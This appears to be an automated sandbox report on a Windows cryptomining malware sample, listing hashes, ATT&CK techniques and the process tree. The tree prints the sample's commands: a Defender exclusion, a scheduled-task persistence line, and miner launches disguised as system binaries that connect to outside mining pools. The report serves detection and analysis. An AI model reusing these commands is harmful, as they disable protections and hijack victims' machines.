cd1f993ecd2d424f7516097869c2bb35e97ea61f03f2a70b0643b3fa58ce2c0c

Analysis

max time kernel
106s
max time network
145s
platform
windows10-2004_x64
resource
win10v2004-20220812-en
resource tags

arch:x64arch:x86image:win10v2004-20220812-enlocale:en-usos:windows10-2004-x64system
submitted
17-09-2022 08:30

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General

Target

cd1f993ecd2d424f7516097869c2bb35e97ea61f03f2a70b0643b3fa58ce2c0c.exe
Size

862KB
MD5

a69b4b080114c6c20c5471ad5613e3bf
SHA1

e2bff2d6b4e3742e5f88b54285abe2286742257a
SHA256

cd1f993ecd2d424f7516097869c2bb35e97ea61f03f2a70b0643b3fa58ce2c0c
SHA512

c56960b4dd4f9a9ce114da597f2e3fca02d3a31df0599b2bde9e0eb61c7890e88c1573326616a307d711f54c3df959db7e2590805beee1a1174fe60f8fe94137
SSDEEP

6144:7lwUrVjuSJHQ7ngOzI53XvrxC8e7IDnUc5D8pDF8Z5+ECLsrski+xk30+TeE0Hu0:LVRQgDzxCUFM55sXi/00f70us

Score

8^/10

upx

Malware Config

Signatures

Executes dropped EXE 1 IoCs

pid	Process
824	DHUZT.exe

UPX packed file 2 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/memory/4904-159-0x0000000140000000-0x0000000142EFE000-memory.dmp	upx
behavioral1/memory/4904-161-0x0000000140000000-0x0000000142EFE000-memory.dmp	upx

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\Control Panel\International\Geo\Nation	DHUZT.exe

Uses the VBS compiler for execution 1 TTPs

Scripting
T1064

Suspicious use of SetThreadContext 2 IoCs

description	pid	Process	procid_target
PID 824 set thread context of 2976	824	DHUZT.exe	95
PID 824 set thread context of 4904	824	DHUZT.exe	101

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Creates scheduled task(s) 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task

T1053

pid	Process
4736	schtasks.exe

Delays execution with timeout.exe 1 IoCs

evasion

pid	Process
1608	timeout.exe

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
4060	powershell.exe
4060	powershell.exe
5008	powershell.exe
5008	powershell.exe
824	DHUZT.exe
824	DHUZT.exe

Suspicious use of AdjustPrivilegeToken 4 IoCs

description	pid	Process
Token: SeDebugPrivilege	4992	cd1f993ecd2d424f7516097869c2bb35e97ea61f03f2a70b0643b3fa58ce2c0c.exe
Token: SeDebugPrivilege	4060	powershell.exe
Token: SeDebugPrivilege	824	DHUZT.exe
Token: SeDebugPrivilege	5008	powershell.exe

Suspicious use of WriteProcessMemory 37 IoCs

description	pid	Process	procid_target
PID 4992 wrote to memory of 4060	4992	cd1f993ecd2d424f7516097869c2bb35e97ea61f03f2a70b0643b3fa58ce2c0c.exe	80
PID 4992 wrote to memory of 4060	4992	cd1f993ecd2d424f7516097869c2bb35e97ea61f03f2a70b0643b3fa58ce2c0c.exe	80
PID 4992 wrote to memory of 4076	4992	cd1f993ecd2d424f7516097869c2bb35e97ea61f03f2a70b0643b3fa58ce2c0c.exe	82
PID 4992 wrote to memory of 4076	4992	cd1f993ecd2d424f7516097869c2bb35e97ea61f03f2a70b0643b3fa58ce2c0c.exe	82
PID 4076 wrote to memory of 1608	4076	cmd.exe	84
PID 4076 wrote to memory of 1608	4076	cmd.exe	84
PID 4076 wrote to memory of 824	4076	cmd.exe	85
PID 4076 wrote to memory of 824	4076	cmd.exe	85
PID 824 wrote to memory of 5008	824	DHUZT.exe	86
PID 824 wrote to memory of 5008	824	DHUZT.exe	86
PID 824 wrote to memory of 1028	824	DHUZT.exe	88
PID 824 wrote to memory of 1028	824	DHUZT.exe	88
PID 1028 wrote to memory of 4736	1028	cmd.exe	90
PID 1028 wrote to memory of 4736	1028	cmd.exe	90
PID 824 wrote to memory of 2976	824	DHUZT.exe	95
PID 824 wrote to memory of 2976	824	DHUZT.exe	95
PID 824 wrote to memory of 2976	824	DHUZT.exe	95
PID 824 wrote to memory of 2976	824	DHUZT.exe	95
PID 824 wrote to memory of 2976	824	DHUZT.exe	95
PID 824 wrote to memory of 2976	824	DHUZT.exe	95
PID 824 wrote to memory of 2976	824	DHUZT.exe	95
PID 824 wrote to memory of 2976	824	DHUZT.exe	95
PID 824 wrote to memory of 2976	824	DHUZT.exe	95
PID 824 wrote to memory of 2976	824	DHUZT.exe	95
PID 824 wrote to memory of 2976	824	DHUZT.exe	95
PID 824 wrote to memory of 2976	824	DHUZT.exe	95
PID 824 wrote to memory of 2976	824	DHUZT.exe	95
PID 824 wrote to memory of 2976	824	DHUZT.exe	95
PID 2976 wrote to memory of 3688	2976	vbc.exe	96
PID 2976 wrote to memory of 3688	2976	vbc.exe	96
PID 824 wrote to memory of 4904	824	DHUZT.exe	101
PID 824 wrote to memory of 4904	824	DHUZT.exe	101
PID 824 wrote to memory of 4904	824	DHUZT.exe	101
PID 824 wrote to memory of 4904	824	DHUZT.exe	101
PID 824 wrote to memory of 4904	824	DHUZT.exe	101
PID 824 wrote to memory of 4904	824	DHUZT.exe	101
PID 824 wrote to memory of 4904	824	DHUZT.exe	101

C:\Users\Admin\AppData\Local\Temp\cd1f993ecd2d424f7516097869c2bb35e97ea61f03f2a70b0643b3fa58ce2c0c.exe
"C:\Users\Admin\AppData\Local\Temp\cd1f993ecd2d424f7516097869c2bb35e97ea61f03f2a70b0643b3fa58ce2c0c.exe"
1⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4992
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -Command Add-MpPreference -ExclusionPath 'C:\ProgramData'
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4060
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmp6D16.tmp.bat""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4076
- - C:\Windows\system32\timeout.exe
    timeout 3
    3⤵
    - Delays execution with timeout.exe
    PID:1608
- - C:\ProgramData\ccl\DHUZT.exe
    "C:\ProgramData\ccl\DHUZT.exe"
    3⤵
    - Executes dropped EXE
    - Checks computer location settings
    - Suspicious use of SetThreadContext
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:824
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell" -Command Add-MpPreference -ExclusionPath 'C:\ProgramData'
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:5008
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc MINUTE /mo 5 /RL HIGHEST /tn "DHUZT" /tr "C:\ProgramData\ccl\DHUZT.exe"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:1028
    - - C:\Windows\system32\schtasks.exe
        
        schtasks /create /f /sc MINUTE /mo 5 /RL HIGHEST /tn "DHUZT" /tr "C:\ProgramData\ccl\DHUZT.exe"
        5⤵
        Creates scheduled task(s)
        
        PID:4736
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe
      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe -a verus -o stratum+tcp://na.luckpool.net:3956 -u RGvbrbsSuWBAhQiVVqYY73R6VMCC1AwQYi.NewWorker -p x -t 7
      4⤵
      Suspicious use of WriteProcessMemory
      PID:2976
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c cls
        5⤵
        
        PID:3688
  - - C:\Windows\explorer.exe
      C:\Windows\explorer.exe --user t1fd8D4s9ZYr87E5HaqJJehhTWq5G4A5X2z.APOCALYPSE --port 2001 --pool us-flux.fluxpools.net --pass x --coin flux
      4⤵
      PID:4904

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Scheduled Task

T1053

Scripting

T1064

Persistence

Scheduled Task

T1053

Privilege Escalation

Scheduled Task

T1053

Defense Evasion

Scripting

T1064

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\ProgramData\ccl\DHUZT.exe

Filesize
862KB

MD5
a69b4b080114c6c20c5471ad5613e3bf

SHA1
e2bff2d6b4e3742e5f88b54285abe2286742257a

SHA256
cd1f993ecd2d424f7516097869c2bb35e97ea61f03f2a70b0643b3fa58ce2c0c

SHA512
c56960b4dd4f9a9ce114da597f2e3fca02d3a31df0599b2bde9e0eb61c7890e88c1573326616a307d711f54c3df959db7e2590805beee1a1174fe60f8fe94137

Download Submit
C:\ProgramData\ccl\DHUZT.exe

Filesize
862KB

MD5
a69b4b080114c6c20c5471ad5613e3bf

SHA1
e2bff2d6b4e3742e5f88b54285abe2286742257a

SHA256
cd1f993ecd2d424f7516097869c2bb35e97ea61f03f2a70b0643b3fa58ce2c0c

SHA512
c56960b4dd4f9a9ce114da597f2e3fca02d3a31df0599b2bde9e0eb61c7890e88c1573326616a307d711f54c3df959db7e2590805beee1a1174fe60f8fe94137

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
d85ba6ff808d9e5444a4b369f5bc2730

SHA1
31aa9d96590fff6981b315e0b391b575e4c0804a

SHA256
84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

SHA512
8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
d28a889fd956d5cb3accfbaf1143eb6f

SHA1
157ba54b365341f8ff06707d996b3635da8446f7

SHA256
21e5d7ccf80a293e6ba30ed728846ca19c929c52b96e2c8d34e27cd2234f1d45

SHA512
0b6d88deb9be85722e6a78d5886d49f2caf407a59e128d2b4ed74c1356f9928c40048a62731959f2460e9ff9d9feee311043d2a37abe3bb92c2b76a44281478c

Download Submit
C:\Users\Admin\AppData\Local\Temp\tmp6D16.tmp.bat

Filesize
137B

MD5
254752f83e957dff4ec87cc2d35e5e70

SHA1
2139b8885ef379ddaedd643f006bcf2e45dbae6e

SHA256
21d9548ed4f1e7baae114bccd3c938bbb1271e0c643db2e4804b5d3a11db6b04

SHA512
70547491276cdb7b83f542914fb08c6e6c5f155f107d9f3af38f52e8391c123c11a1bf44efa005eda071a5b63e1499e7fb2d0bd2257bfc1814c4082dc65c9275

Download Submit
memory/824-157-0x00007FFE98780000-0x00007FFE99241000-memory.dmp

Filesize
10.8MB

Download
memory/824-162-0x00007FFE98780000-0x00007FFE99241000-memory.dmp

Filesize
10.8MB

Download
memory/824-149-0x00007FFE98780000-0x00007FFE99241000-memory.dmp

Filesize
10.8MB

Download
memory/2976-156-0x0000000140000000-0x00000001400C6000-memory.dmp

Filesize
792KB

Download
memory/2976-150-0x0000000140000000-0x00000001400C6000-memory.dmp

Filesize
792KB

Download
memory/2976-153-0x0000000140000000-0x00000001400C6000-memory.dmp

Filesize
792KB

Download
memory/2976-158-0x0000000140000000-0x00000001400C6000-memory.dmp

Filesize
792KB

Download
memory/2976-152-0x0000000140000000-0x00000001400C6000-memory.dmp

Filesize
792KB

Download
memory/4060-139-0x00007FFE98780000-0x00007FFE99241000-memory.dmp

Filesize
10.8MB

Download
memory/4060-137-0x0000028062360000-0x0000028062382000-memory.dmp

Filesize
136KB

Download
memory/4904-159-0x0000000140000000-0x0000000142EFE000-memory.dmp

Filesize
47.0MB

Download
memory/4904-161-0x0000000140000000-0x0000000142EFE000-memory.dmp

Filesize
47.0MB

Download
memory/4992-154-0x00007FFE98780000-0x00007FFE99241000-memory.dmp

Filesize
10.8MB

Download
memory/4992-132-0x0000000000C30000-0x0000000000D0C000-memory.dmp

Filesize
880KB

Download
memory/4992-138-0x00007FFE98780000-0x00007FFE99241000-memory.dmp

Filesize
10.8MB

Download
memory/5008-148-0x00007FFE98780000-0x00007FFE99241000-memory.dmp

Filesize
10.8MB

Download